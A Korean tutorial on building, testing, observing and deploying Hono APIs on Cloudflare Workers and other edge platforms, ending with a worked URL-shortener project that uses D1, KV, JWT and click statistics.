테스트 — 서버를 띄우지 않습니다 Express + supertest 테스트 코드 임시 포트에 서버 기동 실제 TCP 로 HTTP 요청 포트 충돌 · 정리 누락 · 느림 Hono — app.request() 테스트 코드 app.request("/users/1") Response 를 그대로 받음 포트 없음 · 그냥 함수 호출 · 아주 빠름 관측 — 엣지에는 붙을 프로세스가 없습니다 ① 플랫폼 로그 wrangler tail Workers Logs · 실시간 샘플링에 주의 ② 트레이스 OpenTelemetry Tail Worker 로 수집 요청 ID 로 이어 붙이기 ③ 에러 리포팅 Sentry · Toucan onError 에서 한 번에 waitUntil 로 전송
앱이 순수 함수가 되면 테스트가 쉬워지고, 프로세스가 없어지면 관측은 플랫폼에 맡기게 됩니다.

app.request() — 어느 러너에서든 같습니다

// Vitest · bun test · deno test 전부 같은 코드입니다
import { describe, it, expect } from "vitest";
import { app } from "../src/app";

describe("posts API", () => {
  it("목록을 준다", async () => {
    const res = await app.request("/api/posts");        // ★ 이게 전부
    expect(res.status).toBe(200);
    expect(await res.json()).toHaveProperty("items");
  });

  it("본문이 틀리면 400", async () => {
    const res = await app.request("/api/posts", {
      method: "POST",
      headers: { "content-type": "application/json",
                 authorization: `Bearer ${token}` },   // 인증은 통과시켜야 검증까지 갑니다
      body: JSON.stringify({ title: "" }),              // min(1) 위반
    });
    expect(res.status).toBe(400);
    expect((await res.json()).code).toBe("VALIDATION_ERROR");
  });

  it("토큰이 없으면 401", async () => {
    const res = await app.request("/api/posts", { method: "POST" });
    expect(res.status).toBe(401);
  });

  // 표준 Request 를 직접 넘겨도 됩니다
  it("Request 객체로도", async () => {
    const req = new Request("http://x/api/posts?page=2");
    expect((await app.request(req)).status).toBe(200);
  });
});
npx vitest run          # Node
bun test                # Bun (설정 파일 없이)
deno test --allow-net   # Deno

바인딩과 타입 붙은 테스트 클라이언트

// ① 두 번째 인자로 env(바인딩)를 흉내 냅니다
const res = await app.request("/config", {}, {
  KV: fakeKv,                       // 내가 만든 가짜
  JWT_SECRET: "test-secret",
});

// ② 타입이 붙은 테스트 클라이언트 — 오타가 컴파일에서 잡힙니다 ★
import { testClient } from "hono/testing";
const client = testClient(app);

const r = await client.api.posts.$post({
  json: { title: "제목", body: "본문" },     // ❌ 스키마와 다르면 컴파일 에러
}, { headers: { authorization: `Bearer ${token}` } });   // 두 번째 인자로 헤더
expect(r.status).toBe(201);
// ③ Workers 라면 진짜 workerd 위에서 돌릴 수 있습니다 (D1·KV 가 진짜로 동작)
// vitest.config.ts
import { defineWorkersConfig } from "@cloudflare/vitest-pool-workers/config";
export default defineWorkersConfig({
  test: {
    poolOptions: { workers: {
      wrangler: { configPath: "./wrangler.jsonc" },
      miniflare: { d1Databases: ["DB"], kvNamespaces: ["KV"] },
    } },
  },
});

// 테스트에서 진짜 바인딩을 받습니다
import { env, SELF } from "cloudflare:test";

it("D1 에 실제로 쓴다", async () => {
  await env.DB.prepare("INSERT INTO posts (id,title) VALUES (?1,?2)")
             .bind("p1", "제목").run();
  const res = await SELF.fetch("https://x/api/posts");   // 워커 전체를 통과
  expect((await res.json()).items).toHaveLength(1);
});
테스트 층을 두 개로 나누세요. ① app.request() 로 라우팅·검증·에러 형태를 아주 빠르게 훑고(수백 개), ② vitest-pool-workers 로 DB·KV 가 실제로 도는 경로만 몇 개 확인합니다. ②를 전부에 쓰면 느려서 아무도 안 돌리게 됩니다.

로깅 — 한 줄에 한 요청 🟡 중급

구조화 로그 미들웨어

import { createMiddleware } from "hono/factory";

export const accessLog = createMiddleware(async (c, next) => {
  const t0 = Date.now();
  const rid = c.req.header("cf-ray") ?? crypto.randomUUID();
  c.set("requestId", rid);

  await next();

  // ★ console.log 한 번이 로그 한 줄입니다 (JSON 으로 찍으면 검색이 됩니다)
  console.log(JSON.stringify({
    rid,
    method: c.req.method,
    path:   new URL(c.req.url).pathname,
    status: c.res.status,
    ms:     Date.now() - t0,
    colo:   (c.req.raw as any).cf?.colo,      // 어느 도시에서 처리했나 ★
    country:(c.req.raw as any).cf?.country,
    ua:     c.req.header("user-agent")?.slice(0, 60),
  }));
});

// 응답에도 넣어 두면 사용자가 문의할 때 바로 찾습니다
app.use(async (c, next) => {
  await next();
  c.res.headers.set("x-request-id", c.get("requestId"));
});
엣지 로그는 “샘플링될 수 있다”를 전제로 쓰세요. 트래픽이 크면 플랫폼이 일부만 남깁니다. 돈·인증·삭제처럼 반드시 남아야 하는 사건은 로그가 아니라 DB 나 Queue 에 기록하세요 — 그게 감사 로그입니다.

운영에서 보는 법

# ① 실시간 꼬리보기 — 배포 직후 가장 먼저 하는 일
npx wrangler tail
npx wrangler tail --status error          # 에러만
npx wrangler tail --search "abc123"       # 특정 요청만 (로그의 rid 값으로)
npx wrangler tail --format json | jq 'select(.outcome != "ok")'

# ② 대시보드에 남기기 — wrangler.jsonc
#   "observability": { "enabled": true, "head_sampling_rate": 1 }
#   → Workers Logs 에서 필드로 검색·집계할 수 있습니다

# ③ 외부로 내보내기 (Logpush) — S3·R2·Datadog 등으로 적재
npx wrangler logpush create --dataset workers_trace_events ...
// ④ Tail Worker — 다른 워커의 로그를 받아 가공하는 워커 ★
// wrangler.jsonc(메인): "tail_consumers": [{ "service": "log-shipper" }]
export default {
  async tail(events: TraceItem[], env: Env) {
    const lines = events.flatMap((e) => e.logs.map((l) => ({
      ts: l.timestamp, level: l.level, msg: l.message,
      outcome: e.outcome, url: e.event?.request?.url,
    })));
    await fetch(env.LOG_ENDPOINT, {
      method: "POST", body: JSON.stringify(lines),
    });
  },
};
Tail Worker 가 있어서 “로그 수집기”를 따로 안 띄워도 됩니다. 메인 워커는 console.log 만 하고, 어디로 보낼지는 Tail Worker 가 결정합니다. 수집처를 바꿔도 메인 코드는 한 줄도 안 바뀝니다.

실무에선 이렇게 — 에러 리포팅과 트레이스 🔴 실무

에러는 onError 한 곳에서

import { HTTPException } from "hono/http-exception";
import { Toucan } from "toucan-js";                 // Workers 용 Sentry SDK

app.onError((err, c) => {
  const rid = c.get("requestId");

  // 예상한 에러 — 조용히 응답만
  if (err instanceof HTTPException) return err.getResponse();

  // 예상 못 한 에러 — 보고하고 일반 메시지
  const sentry = new Toucan({
    dsn: c.env.SENTRY_DSN,
    context: c.executionCtx,                        // ★ waitUntil 을 넘겨 줍니다
    request: c.req.raw,
    requestDataOptions: { allowedHeaders: ["user-agent"] },  // PII 주의
  });
  sentry.setTag("rid", rid);
  sentry.captureException(err);

  console.error(JSON.stringify({ rid, msg: String(err), stack: err.stack }));
  return c.json({ code: "INTERNAL_ERROR", requestId: rid }, 500);
});

// 예상한 실패는 예외로 던져 두면 형태가 저절로 통일됩니다
throw new HTTPException(404, { message: "글을 찾을 수 없습니다" });
context: c.executionCtx 를 빼먹으면 보고가 안 갑니다. 전송이 응답 이후에 일어나는데, waitUntil 없이는 아이솔레이트가 먼저 정리되기 때문입니다. Express 에서는 없던 함정입니다.

분산 트레이스 — 요청 하나를 끝까지

// ① 헤더로 이어 붙이기 (표준 W3C traceparent)
app.use(async (c, next) => {
  const parent = c.req.header("traceparent");
  c.set("trace", parent ?? newTraceparent());
  await next();
});

// 다른 서비스를 부를 때 그대로 전달합니다 ★ 이걸 해야 한 줄로 이어집니다
await fetch(url, { headers: { traceparent: c.get("trace") } });
// ② OpenTelemetry — 계측 라이브러리를 앱 전체에 감쌉니다
import { instrument } from "@microlabs/otel-cf-workers";

const config = (env: Env) => ({
  exporter: { url: env.OTLP_URL,
              headers: { authorization: env.OTLP_KEY } },
  service:  { name: "my-api" },
});

export default instrument(app, config);   // ★ 라우트·fetch·D1 이 자동 계측됩니다
보고 싶은 것도구
지금 무슨 일이 나나wrangler tail
어제 그 요청Workers Logs (검색)
느린 구간이 어디OTel 트레이스 · server-timing
얼마나 자주 터지나Sentry 이슈 집계
도시별 지연Analytics (cf.colo 로 그룹)
엣지 특유의 관측 축이 하나 더 있습니다 — “어느 도시에서 처리했나”. 같은 API 가 서울에서는 20ms, 프랑크푸르트에서는 400ms 인 일이 흔합니다. 원인은 대개 DB 와의 거리이고, cf.colo 를 로그에 넣어 두면 Smart Placement 를 켤지가 데이터로 판단됩니다(g08).
정리 — 테스트는 app.request() 한 줄이면 되고, 바인딩이 진짜로 필요한 몇 개만 vitest-pool-workers 로 돌립니다. 관측은 console.log 를 JSON 으로 찍고 wrangler tail 로 보고, 수집처는 Tail Worker 에 맡깁니다. 에러는 onError 한 곳에서 waitUntil 로 보내야 실제로 도착합니다.
EDGE 12

배포 — 커밋 하나가 전 세계에 닿기까지

엣지 배포의 특징은 빠르고 되돌리기 쉽다는 것입니다. 이미지를 만들지 않으니 배포가 수 초이고, 이전 버전이 그대로 남아 롤백이 한 줄입니다. 대신 시크릿 관리와 요금 모델은 처음부터 정해 두어야 합니다.

배포 파이프라인 — 커밋 하나가 전 세계에 닿기까지 ① git push PR 또는 main ② CI lint · test · build ③ 미리보기 PR 마다 임시 URL ④ 운영 배포 점진 롤아웃 어디로 배포하나 — 명령 한 줄과 성격 Workers wrangler deploy 전 세계 · 요청당 무료 한도가 넓음 Deno Deploy deployctl deploy KV 가 딸려 옵니다 Deno 코드 그대로 Vercel vercel --prod Next 와 한 몸 미리보기가 강점 Docker (Bun) 멀티스테이지 빌드 어디에나 올립니다 인스턴스 과금 환경 변수와 시크릿 vars 는 평문 · secret 은 암호화 .dev.vars 를 저장소에 넣지 마세요 점진 배포와 되돌리기 versions upload 후 비율로 나눠 배포 롤백은 이전 버전을 다시 활성화
이미지를 만들지 않으니 배포가 수 초이고, 이전 버전이 남아 있어 되돌리기가 한 줄입니다.

Cloudflare Workers

npx wrangler deploy                    # 운영으로
npx wrangler deploy --env staging      # 환경 분리 (wrangler.jsonc 의 env)

# ★ 점진 배포 — 새 버전을 올려 두고 비율만 옮깁니다
npx wrangler versions upload           # 아직 트래픽 0
npx wrangler versions deploy           # 대화형으로 비율 지정 (예: 10%)
npx wrangler deployments list          # 이력
npx wrangler rollback [버전ID]          # 되돌리기

# 시크릿 (배포와 별개로 저장됩니다)
npx wrangler secret put JWT_SECRET
npx wrangler secret put DATABASE_URL --env staging
npx wrangler secret bulk .secrets.json
// wrangler.jsonc — 도메인과 환경
{
  "name": "my-api",
  "main": "src/index.ts",
  "compatibility_date": "2026-08-01",
  "vars": { "APP_ENV": "production" },
  "routes": [
    { "pattern": "api.example.com", "custom_domain": true }
  ],
  "env": {
    "staging": {
      "vars": { "APP_ENV": "staging" },
      "routes": [{ "pattern": "api-stg.example.com", "custom_domain": true }]
    }
  }
}
커스텀 도메인은 클릭 한 번입니다. DNS 가 Cloudflare 에 있으면 인증서 발급·갱신까지 자동이라 Nginx · certbot · 로드밸런서 설정이 통째로 사라집니다. 이것만으로도 소규모 서비스의 운영 부담이 크게 줄어듭니다.

Deno Deploy · Vercel

# ── Deno Deploy ──
deno install -Arf jsr:@deno/deployctl
deployctl deploy --project=my-api --prod src/main.ts
deployctl deploy --project=my-api src/main.ts     # 미리보기(프리뷰)
deployctl logs --project=my-api
#  · GitHub 저장소를 연결하면 push 만으로 배포됩니다
#  · Deno KV 가 프로젝트에 자동으로 붙습니다 (g06)

# ── Vercel ──
npm i -g vercel
vercel                 # 미리보기 배포
vercel --prod          # 운영 배포
vercel env add JWT_SECRET production
vercel logs --follow
// Vercel 에서 Hono — 파일 하나면 됩니다
// api/index.ts
import { handle } from "hono/vercel";
import { app } from "../src/app";
export const GET    = handle(app);
export const POST   = handle(app);
export const PATCH  = handle(app);
export const DELETE = handle(app);
플랫폼마다 “엣지”의 뜻이 다릅니다. Vercel 은 엣지 런타임(아이솔레이트)과 Node 런타임(컨테이너)이 따로 있고, 어느 쪽으로 도는지에 따라 쓸 수 있는 API 가 달라집니다. Hono 로 짜 두면 둘 다에서 도니 이 고민이 줄어듭니다.

컨테이너 — Bun 도커 멀티스테이지 🟡 중급

Dockerfile

# syntax=docker/dockerfile:1

# ── ① 의존성만 설치하는 층 (캐시가 가장 잘 듣는 곳) ──
FROM oven/bun:1-alpine AS deps
WORKDIR /app
COPY package.json bun.lock ./
RUN bun install --frozen-lockfile

# ── ② 빌드 ──
FROM deps AS build
COPY . .
RUN bun run build            # 또는 bun build src/index.ts --outdir dist --target bun

# ── ③ 운영용 의존성만 다시 설치 ──
FROM oven/bun:1-alpine AS prod-deps
WORKDIR /app
COPY package.json bun.lock ./
RUN bun install --frozen-lockfile --production

# ── ④ 최종 이미지 — 소스도 개발 의존성도 없습니다 ──
FROM oven/bun:1-alpine AS runner
WORKDIR /app
ENV NODE_ENV=production
COPY --from=prod-deps /app/node_modules ./node_modules
COPY --from=build /app/dist ./dist
COPY package.json ./

# ★ root 로 돌리지 마세요 (Dockerfile 주석은 줄 맨 앞에서만 — 명령 뒤에 붙이면 인자가 됩니다)
USER bun
EXPOSE 3000
HEALTHCHECK --interval=30s --timeout=3s \
  CMD bun --eval "fetch('http://127.0.0.1:3000/health').then(r=>process.exit(r.ok?0:1))"
CMD ["bun", "dist/index.js"]
더 작게 만들려면 bun build --compile 로 단일 실행 파일을 만들고 FROM gcc:distroless 나 alpine 에 그 파일 하나만 넣으면 됩니다. 다만 실행 파일 자체가 수십 MB 라 항상 더 작아지지는 않습니다 — 재 보고 정하세요.

환경 변수와 시크릿 — 원칙 다섯

  • 평문과 비밀을 구분 — 로그 레벨·기능 플래그는 vars, 토큰·DB 비밀번호는 secret. 둘을 섞으면 대시보드에 그대로 보입니다
  • 로컬 파일은 저장소 밖 — Workers 는 .dev.vars, Node·Bun 은 .env. .gitignore 에 먼저 넣고 파일을 만드세요
  • 번들에 들어가는 값은 비밀이 아닙니다 — 프런트로 나가는 값은 누구나 볼 수 있습니다(NEXT_PUBLIC_·VITE_ 접두어의 의미)
  • 환경별로 다른 이름의 자원 — 스테이징이 운영 DB 를 보는 사고가 가장 흔합니다. 바인딩 id 를 환경마다 분리하세요
  • 돌려 막기(rotation) 절차를 미리 — 새 시크릿을 추가하고, 코드가 둘 다 받아들이게 한 뒤, 옛것을 지웁니다
# .github/workflows/deploy.yml
name: deploy
on: { push: { branches: [main] } }
jobs:
  ship:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: oven-sh/setup-bun@v2
      - run: bun install --frozen-lockfile
      - run: bun test
      - run: bunx tsc --noEmit
      - name: Deploy
        run: bunx wrangler deploy
        env:
          CLOUDFLARE_API_TOKEN: ${{ secrets.CF_API_TOKEN }}
          CLOUDFLARE_ACCOUNT_ID: ${{ secrets.CF_ACCOUNT_ID }}
CI 토큰의 권한을 최소로 주세요. Cloudflare API 토큰은 “이 계정의 Workers 편집”만 있으면 됩니다. 전체 권한 토큰을 GitHub 에 넣어 두면 저장소가 뚫리는 순간 DNS 까지 넘어갑니다.

실무에선 이렇게 — 요금은 모양이 다릅니다 🔴 실무

요청당 vs 인스턴스 — 어디서 갈리나

상황요청당(엣지)인스턴스
하루 1천 요청거의 0원서버 1대 값 그대로
밤에 트래픽 00원그대로 냄
DB 3초 대기CPU 안 씀그 시간도 돈
이미지 변환 반복비쌈 (CPU 과금)쌈
초당 1천 요청 상시계산이 필요대개 쌈
갑자기 100배그냥 늘어남스케일 지연 · 장애
대용량 전송R2 는 전송 무료egress 요금 큼
계산은 “요청 수 × CPU 시간”으로 하세요. 엣지 요금은 기다린 시간이 아니라 계산한 시간에 붙습니다. 그래서 DB 조회가 대부분인 API 는 놀랄 만큼 싸고, 이미지·PDF·암호화 반복은 금방 비싸집니다. 후자는 Queue 로 넘겨 컨테이너에서 처리하는 조합이 정답입니다.

배포 전 체크리스트

확인할 것
□compatibility_date 가 최신인가 (g07)
□시크릿이 코드·설정 파일이 아니라 secret 에 있는가
□스테이징이 운영 DB 를 안 보는가
□onError·notFound 가 등록됐는가
□CORS origin 이 * 가 아닌가
□Rate Limit 이 KV·DO 기반인가 (메모리 아님, g03)
□번들 크기를 --dry-run 으로 확인했는가
□마이그레이션이 앞뒤 호환인가 (g09)
□롤백 명령을 실제로 한 번 해 봤는가
□wrangler tail 로 첫 5분을 볼 사람이 있는가
# 배포 직후 30초 루틴
npx wrangler tail --status error &      # 에러만 흘려 두고
curl -s -o /dev/null -w "%{http_code} %{time_total}\n" \
     https://api.example.com/health
npx wrangler deployments list | head -3  # 어떤 버전이 떴는지 확인
“배포가 너무 쉬워서” 생기는 사고가 있습니다. 수 초 만에 전 세계에 퍼지므로 실수도 전 세계에 퍼집니다. 중요한 서비스라면 versions upload → 10% → 확인 → 100% 순서를 습관으로 만드세요. 되돌리는 것도 수 초입니다.
정리 — 배포 명령은 한 줄(wrangler deploy · deployctl deploy · vercel --prod)이고, 진짜 신경 쓸 것은 시크릿 분리 · 환경별 자원 분리 · 점진 배포와 롤백 세 가지입니다. 요금은 “요청 수 × CPU 시간” 으로 계산하고, 계산이 무거운 일만 컨테이너나 Queue 로 덜어 내면 됩니다.
EDGE 13

실전 — URL 단축 + 클릭 통계 API

지금까지 배운 것을 전부 씁니다 — Hono + Drizzle(D1) + JWT + Zod 검증 + RPC 타입 공유 + KV 캐시, 그리고 Workers 배포까지. 짧은 주소로 들어온 요청을 10ms 안에 넘겨주면서 클릭 기록은 응답을 막지 않고 남기는 것이 목표입니다.

짧은 주소 하나를 넘겨주는 동안 일어나는 일 브라우저 GET /abc123 엣지 워커 가장 가까운 도시 KV 조회 1~5ms 302 응답 합계 10ms 안팎 미스 → D1 조회 30~60ms KV 에 채움 다음부터 히트 waitUntil — 클릭 기록 응답을 막지 않고 뒤에서 INSERT 같은 API 를 두 방식으로 올렸을 때 — 막대가 짧을수록 좋습니다 Node + Express — 도쿄에 1대 Hono + Workers — 전 세계 엣지 콜드 스타트 400ms 5ms 서울에서 60ms 12ms 브라질에서 320ms 15ms 0 100 200 300 400 ms 거리가 곧 지연입니다 — 한 곳에 두면 먼 사용자가 그 거리를 그대로 기다립니다
엣지가 이기는 이유는 응답이 사용자 옆에서 나오고, 무거운 일은 뒤로 미루기 때문입니다.

폴더 구조

short/
├─ wrangler.jsonc          Workers 설정 · 바인딩
├─ drizzle.config.ts
├─ package.json
├─ migrations/             wrangler d1 migrations 가 만듭니다
│   └─ 0001_init.sql
├─ src/
│   ├─ index.ts            진입점 — export default app
│   ├─ app.ts              Hono 인스턴스 · 미들웨어 조립
│   ├─ env.ts              Bindings · Variables 타입
│   ├─ db/
│   │   └─ schema.ts       Drizzle 스키마
│   ├─ lib/
│   │   ├─ auth.ts         JWT 발급 · 검증 미들웨어
│   │   └─ id.ts           짧은 코드 생성
│   └─ routes/
│       ├─ links.ts        생성 · 목록 · 삭제 (인증 필요)
│       ├─ stats.ts        클릭 통계
│       └─ go.ts           /:code 리다이렉트 (인증 없음)
└─ web/                    프런트 (RPC 타입을 그대로 씁니다)
    └─ src/api.ts
// wrangler.jsonc
{
  "name": "short",
  "main": "src/index.ts",
  "compatibility_date": "2026-08-01",
  "observability": { "enabled": true },
  "d1_databases": [{ "binding": "DB", "database_name": "short",
                     "database_id": "..." }],
  "kv_namespaces": [{ "binding": "KV", "id": "..." }],
  "routes": [{ "pattern": "s.example.com", "custom_domain": true }]
}

스키마와 타입

// src/db/schema.ts
import { sqliteTable, text, integer, index } from "drizzle-orm/sqlite-core";
import { sql } from "drizzle-orm";

export const users = sqliteTable("users", {
  id:    text("id").primaryKey(),
  email: text("email").notNull().unique(),
  hash:  text("hash").notNull(),
});

export const links = sqliteTable("links", {
  code:   text("code").primaryKey(),           // abc123
  url:    text("url").notNull(),
  userId: text("user_id").notNull().references(() => users.id),
  clicks: integer("clicks").notNull().default(0),
  createdAt: integer("created_at", { mode: "timestamp" })
             .notNull().default(sql`(unixepoch())`),
}, (t) => [ index("links_user_idx").on(t.userId) ]);

export const events = sqliteTable("events", {
  id:      integer("id").primaryKey({ autoIncrement: true }),
  code:    text("code").notNull(),
  ts:      integer("ts").notNull(),
  country: text("country"),
  colo:    text("colo"),                        // 어느 도시에서 처리했나
  referer: text("referer"),
}, (t) => [ index("events_code_ts").on(t.code, t.ts) ]);
// src/env.ts
export type Bindings = {
  DB: D1Database;
  KV: KVNamespace;
  JWT_SECRET: string;
};
export type Variables = {
  user: { id: string; email: string };
  requestId: string;
};
export type Ctx = { Bindings: Bindings; Variables: Variables };
events 를 따로 둔 이유 — links.clicks 만 올리면 “며칠에 몇 번, 어느 나라에서”를 못 봅니다. 집계값과 원본 이벤트를 둘 다 두는 것이 통계 API 의 기본형입니다.

핵심 코드 — 인증 · 생성 · 리다이렉트 🟡 중급

JWT — 표준 WebCrypto 로

// src/lib/auth.ts
import { sign, verify } from "hono/jwt";            // ★ 라이브러리 설치 불필요
import { createMiddleware } from "hono/factory";
import { HTTPException } from "hono/http-exception";
import type { Ctx } from "../env";

export const issue = (secret: string, u: { id: string; email: string }) =>
  sign({ sub: u.id, email: u.email,
         exp: Math.floor(Date.now() / 1000) + 60 * 60 * 24 * 7 }, secret);

export const requireAuth = createMiddleware<Ctx>(async (c, next) => {
  const raw = c.req.header("authorization")?.replace(/^Bearer /, "");
  if (!raw) throw new HTTPException(401, { message: "인증이 필요합니다" });
  try {
    const p = await verify(raw, c.env.JWT_SECRET);
    c.set("user", { id: String(p.sub), email: String(p.email) });
  } catch {
    throw new HTTPException(401, { message: "토큰이 유효하지 않습니다" });
  }
  await next();
});

// 비밀번호 해시 — bcrypt 없이 WebCrypto 로 (PBKDF2)
export async function hashPw(pw: string, saltHex?: string) {
  const salt = saltHex ? hexToBytes(saltHex) : crypto.getRandomValues(new Uint8Array(16));
  const key = await crypto.subtle.importKey("raw", new TextEncoder().encode(pw),
                                            "PBKDF2", false, ["deriveBits"]);
  const bits = await crypto.subtle.deriveBits(
    { name: "PBKDF2", salt, iterations: 100_000, hash: "SHA-256" }, key, 256);
  return `${toHex(salt)}:${toHex(new Uint8Array(bits))}`;
}
왜 bcrypt 를 안 쓰나 — bcrypt 는 네이티브 모듈이라 아이솔레이트에 안 올라갑니다. 엣지에서는 WebCrypto 의 PBKDF2 를 쓰거나 인증 자체를 외부 서비스(Auth0·Clerk·Supabase Auth)에 맡깁니다. 반복 횟수를 너무 올리면 CPU 시간 상한에 걸리니 주의하세요(g08).

링크 생성 — 검증 + RPC 체이닝

// src/routes/links.ts
import { Hono } from "hono";
import { zValidator } from "@hono/zod-validator";
import { z } from "zod";
import { drizzle } from "drizzle-orm/d1";
import { eq, and, desc } from "drizzle-orm";
import { links } from "../db/schema";
import { requireAuth } from "../lib/auth";
import { newCode } from "../lib/id";
import type { Ctx } from "../env";

const CreateLink = z.object({
  url: z.url("주소 형식이 아닙니다").max(2048),
  code: z.string().regex(/^[a-z0-9_-]{3,32}$/i).optional(),   // 직접 지정도 허용
});

// ★ 체이닝을 끊지 않습니다 — RPC 타입이 여기서 만들어집니다
const route = new Hono<Ctx>()
  .use(requireAuth)
  .post("/", zValidator("json", CreateLink), async (c) => {
    const { url, code } = c.req.valid("json");
    const db = drizzle(c.env.DB);
    const key = code ?? newCode();               // 7자 무작위

    try {
      await db.insert(links)
              .values({ code: key, url, userId: c.get("user").id });
    } catch {
      return c.json({ code: "DUPLICATE", message: "이미 쓰는 코드입니다" }, 409);
    }
    // ★ 만들자마자 캐시에 넣어 둡니다 — 첫 클릭도 빠릅니다
    c.executionCtx.waitUntil(c.env.KV.put(`l:${key}`, url, { expirationTtl: 86400 }));

    return c.json({ code: key, url, short: `https://s.example.com/${key}` }, 201);
  })
  .get("/", async (c) => {
    const db = drizzle(c.env.DB);
    const rows = await db.select().from(links)
      .where(eq(links.userId, c.get("user").id))
      .orderBy(desc(links.createdAt)).limit(50);
    return c.json({ items: rows });
  })
  .delete("/:code", async (c) => {
    const db = drizzle(c.env.DB);
    const key = c.req.param("code");
    const r = await db.delete(links)
      .where(and(eq(links.code, key), eq(links.userId, c.get("user").id)));
    await c.env.KV.delete(`l:${key}`);           // ★ 캐시 무효화를 같은 함수 안에
    return c.body(null, 204);
  });

export default route;

리다이렉트 — 이 파일이 전부의 핵심입니다

// src/routes/go.ts
import { Hono } from "hono";
import { drizzle } from "drizzle-orm/d1";
import { eq, sql } from "drizzle-orm";
import { links, events } from "../db/schema";
import type { Ctx } from "../env";

const go = new Hono<Ctx>().get("/:code", async (c) => {
  const key = c.req.param("code");

  // ① KV 먼저 — 대부분 여기서 끝납니다 (1~5ms)
  let url = await c.env.KV.get(`l:${key}`);

  // ② 없으면 D1 에서 찾고, 찾으면 KV 를 채웁니다
  if (!url) {
    const db = drizzle(c.env.DB);
    const row = await db.select({ url: links.url }).from(links)
                        .where(eq(links.code, key)).get();
    if (!row) return c.notFound();
    url = row.url;
    c.executionCtx.waitUntil(
      c.env.KV.put(`l:${key}`, url, { expirationTtl: 86400 }),
    );
  }

  // ③ 클릭 기록은 응답을 막지 않습니다 ★ 이게 이 프로젝트의 핵심입니다
  const cf = (c.req.raw as any).cf ?? {};
  c.executionCtx.waitUntil(
    c.env.DB.batch([
      c.env.DB.prepare("UPDATE links SET clicks = clicks + 1 WHERE code = ?1")
              .bind(key),
      c.env.DB.prepare(
        `INSERT INTO events (code, ts, country, colo, referer)
         VALUES (?1, ?2, ?3, ?4, ?5)`)
        .bind(key, Date.now(), cf.country ?? null, cf.colo ?? null,
              c.req.header("referer") ?? null),
    ]),
  );

  // ④ 즉시 넘겨줍니다. 캐시는 짧게 (링크가 바뀔 수 있으므로)
  return c.redirect(url, 302);
});

export default go;
waitUntil 을 빼면 통계가 조용히 사라집니다. c.redirect() 를 반환하는 순간 응답이 나가고, 아이솔레이트는 정리 대상이 됩니다. Express 였다면 res.redirect() 뒤의 await insert() 가 그냥 실행됐지만 여기서는 아닙니다.

통계 · 조립 · 프런트

// src/routes/stats.ts — 날짜별·나라별 집계
const stats = new Hono<Ctx>()
  .use(requireAuth)
  .get("/:code", async (c) => {
    const key = c.req.param("code");
    const since = Date.now() - 7 * 864e5;

    // ★ 왕복을 한 번으로 — 두 집계를 batch 로 함께 보냅니다
    const [byDay, byCountry] = await c.env.DB.batch([
      c.env.DB.prepare(
        `SELECT date(ts/1000,'unixepoch') d, count(*) n FROM events
          WHERE code = ?1 AND ts > ?2 GROUP BY d ORDER BY d`).bind(key, since),
      c.env.DB.prepare(
        `SELECT country, count(*) n FROM events
          WHERE code = ?1 AND ts > ?2 GROUP BY country
          ORDER BY n DESC LIMIT 10`).bind(key, since),
    ]);

    return c.json({ byDay: byDay.results, byCountry: byCountry.results });
  });
// src/app.ts — 조립
import { Hono } from "hono";
import { logger } from "hono/logger";
import { cors } from "hono/cors";
import { secureHeaders } from "hono/secure-headers";
import { HTTPException } from "hono/http-exception";

export const app = new Hono<Ctx>();
app.use(secureHeaders());
app.use("/api/*", cors({ origin: ["https://app.example.com"] }));
if (import.meta.env?.DEV) app.use(logger());

const routes = app
  .route("/api/links", links)
  .route("/api/stats", stats)
  .route("/", go);                 // ★ /:code 는 맨 마지막에 (다른 경로를 안 먹게)

app.notFound((c) => c.json({ code: "NOT_FOUND" }, 404));
app.onError((err, c) => {
  if (err instanceof HTTPException) return err.getResponse();
  console.error(JSON.stringify({ msg: String(err) }));
  return c.json({ code: "INTERNAL_ERROR" }, 500);
});

export type AppType = typeof routes;    // ★ 프런트가 쓸 계약서
export default app;
// web/src/api.ts — 프런트는 주소 문자열을 한 번도 안 씁니다
import { hc } from "hono/client";
import type { AppType } from "../../src/app";

const api = hc<AppType>("https://s.example.com", {
  headers: () => ({ authorization: `Bearer ${localStorage.token}` }),
});

const res = await api.api.links.$post({ json: { url: "https://long.example.com/a" } });
if (res.status === 201) {
  const { short } = await res.json();     // ✅ 타입 추론됨
}

돌려 보고 올리기 — 그리고 Express 판과 비교 🔴 실무

처음부터 끝까지 명령

# ① 만들기
npm create hono@latest short          # cloudflare-workers 선택
cd short
npm i drizzle-orm zod @hono/zod-validator
npm i -D drizzle-kit wrangler vitest @cloudflare/vitest-pool-workers

# ② D1 · KV 만들기 (출력된 id 를 wrangler.jsonc 에 붙입니다)
npx wrangler d1 create short
npx wrangler kv namespace create KV

# ③ 마이그레이션
npx drizzle-kit generate               # 스키마 → SQL
npx wrangler d1 migrations apply short --local
npx wrangler d1 migrations apply short --remote

# ④ 로컬 실행 · 테스트
npx wrangler dev
curl -X POST localhost:8787/api/links \
  -H "authorization: Bearer $TOKEN" -H "content-type: application/json" \
  -d '{"url":"https://example.com"}'
npx vitest run

# ⑤ 시크릿 · 배포
npx wrangler secret put JWT_SECRET
npx wrangler deploy
npx wrangler tail --status error
// 테스트 — 서버를 안 띄웁니다 (g11)
import { env, SELF } from "cloudflare:test";
import { expect, it } from "vitest";

it("없는 코드는 404", async () => {
  expect((await SELF.fetch("https://s/zzzzz")).status).toBe(404);
});

it("있으면 302 로 넘긴다", async () => {
  await env.KV.put("l:abc", "https://example.com");
  const res = await SELF.fetch("https://s/abc", { redirect: "manual" });
  expect(res.status).toBe(302);
  expect(res.headers.get("location")).toBe("https://example.com");
});

같은 기능, 두 가지 방식

Node + ExpressHono + Workers
콜드 스타트300~600ms~5ms
서울에서 응답50~80ms10~15ms
브라질에서300ms 이상15ms 안팎
트래픽 0일 때서버 값 그대로0원
배포 시간이미지 빌드 + 롤아웃수 초
롤백이전 이미지 재배포명령 한 줄
TLS · 도메인Nginx · certbot설정에서 한 줄
인프라 파일Dockerfile · compose · nginx.confwrangler.jsonc 하나
클릭 기록res 뒤에 그냥 awaitwaitUntil 필수
bcrypt그대로 사용WebCrypto 로 교체
통계 집계 배치cron 프로세스Cron Trigger · Queue
디버깅디버거 · 힙 스냅샷로그와 트레이스 위주
